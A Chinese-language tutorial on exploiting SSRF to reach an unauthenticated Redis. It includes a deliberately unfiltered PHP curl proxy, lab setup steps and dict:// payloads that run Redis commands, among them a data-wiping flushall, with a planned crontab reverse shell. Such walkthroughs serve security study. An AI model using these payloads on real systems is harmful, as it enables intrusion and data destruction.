SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
ssrf用途
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网Web站点漏洞的利用
......
1.什么是redis未授权访问漏洞:
Redis 默认情况下,会绑定在 127.0.0.1:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379或者结合ssrf 是绑定127.0.0.1进行探测,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
2.漏洞的危害:
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
3.漏洞复现
a.首先在自己工网vps 上新建一个PHP文件,无任何处理命名为ssrf.php(我的服务器是Apache放在跟目录下即可)
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
b.通过访问自己的http:vps/ssrf.php?url=127.0.0.1:port 来探测内网端口(vps 为自己的云服务外望ip,port为端口号)
漏洞环境搭建:
(一)安装redis服务:
(1)从官网下载源码的压缩包:
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
(2)下载完成后,解压压缩包:
tar xzf redis-3.2.11.tar.gz;
(3)然后进入解压后的目录:cd redis-3.2.11,输入make并执行;
(4)make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了):
cp redis-server /usr/bin
cp redis-cli /usr/bin
(5)返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:
cp redis.conf /etc/
(6)编辑etc中的redis配置文件redis.conf,如下图所示:
vi /etc/redis.conf
如果结合ssrf去掉ip绑定,允许除本地外的主机远程登录redis服务:修改红框中安全模式即可,改为no;如果是两台机器直接测试redis未授权,需要将127.0.0.1改为0.0.0.0
(7)使用/etc/目录下的reids.conf文件中的配置启动redis服务:
redis-server /etc/redis.conf
存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议
笔者这里就以dict协议为例
攻击redis
只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。
第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。
还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进行讲解
使用dict协议向Redis数据库写shell
关于dict协议:
> dict://serverip:port/命令:参数
> 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。
curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利用dict:
/xx.php?url=dict://127.0.0.1:6379/info
/xx.php?url=dict://127.0.0.1:6379/get:user
/xx.php?url=dict://127.0.0.1:6379/flushall
这样就代表可以成功执行命令。
先清除没用的数据,防止定时任务执行失败
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall